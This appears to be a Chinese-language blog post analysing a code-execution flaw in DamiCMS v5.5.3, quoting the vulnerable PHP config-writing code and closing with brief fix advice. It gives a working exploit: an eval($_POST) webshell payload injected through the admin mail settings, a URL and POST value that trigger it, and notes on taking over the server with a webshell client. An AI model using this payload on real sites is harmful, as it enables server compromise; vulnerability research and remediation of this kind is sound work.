1. 程式人生 > >【程式碼審計】大米CMS_V5.5.3 程式碼執行漏洞分析

【程式碼審計】大米CMS_V5.5.3 程式碼執行漏洞分析

 

0x00 環境準備

大米CMS官網:http://www.damicms.com

網站原始碼版本:大米CMS_V5.5.3試用版(更新時間:2017-04-15)

程式原始碼下載:http://www.damicms.com/downes/dami.rar

測試網站首頁:

 

0x01 程式碼分析

1、漏洞檔案位置:/Admin/Lib/Action/ConfigAction.class.php 第213-225行:

  1. $config_file = "./Public/Config/config.ini.php";  
  2. $fp = fopen($config_file,"r");  
  3. $configStr = fread($fp,filesize($config_file));  
  4. fclose($fp);  
  5. $configStr = preg_replace("/'MAIL_TRADE'=>.*.,/","'MAIL_TRADE'=>".htmlspecialchars($_POST['MAIL_TRADE']).",",$configStr);  
  6. $configStr = preg_replace("/'MAIL_SMTP_SERVER'=>'.*'/","'MAIL_SMTP_SERVER'=>'".(string)$_POST['MAIL_SMTP_SERVER']."'",$configStr);  
  7. $configStr = preg_replace("/'MAIL_FROM'=>'.*'/","'MAIL_FROM'=>'".htmlspecialchars($_POST['MAIL_FROM'])."'",$configStr);     
  8. if(C('MAIL_PASSSWORD') != $_POST['MAIL_PASSSWORD']){$configStr = preg_replace("/'MAIL_PASSSWORD'=>'.*'/","'MAIL_PASSSWORD'=>'".dami_encrypt($_POST['MAIL_PASSSWORD'])."'",$configStr);}     
  9. $configStr = preg_replace("/'MAIL_TOADMIN'=>'.*'/","'MAIL_TOADMIN'=>'".htmlspecialchars($_POST['MAIL_TOADMIN'])."'",$configStr);  

10. $configStr = preg_replace("/'MAIL_PORT'=>.*.,/","'MAIL_PORT'=>".htmlspecialchars($_POST['MAIL_PORT']).",",$configStr);  

11. $fp = fopen($config_file,"w") or die("<script>alert('寫入配置失敗,請檢查安裝目錄/Public/Config/config.ini.php是否可寫入!');history.go(-1);</script>");      

12. fwrite($fp,$configStr);  

13. fclose($fp);  

這段函式中,首先讀取配置檔案,然後通過正則匹配字串,最後寫入配置中。我們可以看到MAIL_TRADE、MAIL_FROM、MAIL_TOADMIN、MAIL_PORT等引數是用通過htmlspecialchars函式處理,MAIL_PASSSWORD是經過加密處理的,然後寫入配置檔案的。唯獨只有一個MAIL_SMTP_SERVER引數是沒有任何處理的,直接寫入配置檔案的。攻擊者可以構造指令碼程式碼寫入配置檔案,從而導致程式在實現上存在程式碼執行漏洞,攻擊者可利用該漏洞獲取敏感資訊。最後控制網站伺服器許可權

0x02 漏洞利用

1、登入後臺, 網站配置--郵件傳送配置—填寫Payload—儲存設定:

Payload: ',1=>eval($_POST[g]),'xx'=>'

 

2、直接訪問配置檔案地址:http://127.0.0.1/Public/Config/config.ini.php 是無法成功觸發指令碼程式碼的,因為在 config.ini.php開頭有一句程式碼:

  1. <?php  
  2. if (!defined('THINK_PATH')) exit();  

3、如何去觸發程式碼執行漏洞呢?

全域性搜尋包含“Public/Config/config.ini.php”的檔案

 

4、選擇一個利用構造連結的url,如/Admin/Lib/Action/ConfigAction.class.php檔案,構造的連結形式如下,可成功觸發程式碼執行漏洞:

Payload:http://127.0.0.1/admin.php?s=/Config/index

POST: g=phpinfo();

 

5、通過菜刀連線,控制網站伺服器:

0x03 修復建議

1、寫入配置檔案前,對特殊字元(如<、>等)進行htmlencode處理;

2、全域性配置可考慮寫入資料庫進行呼叫。

 

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。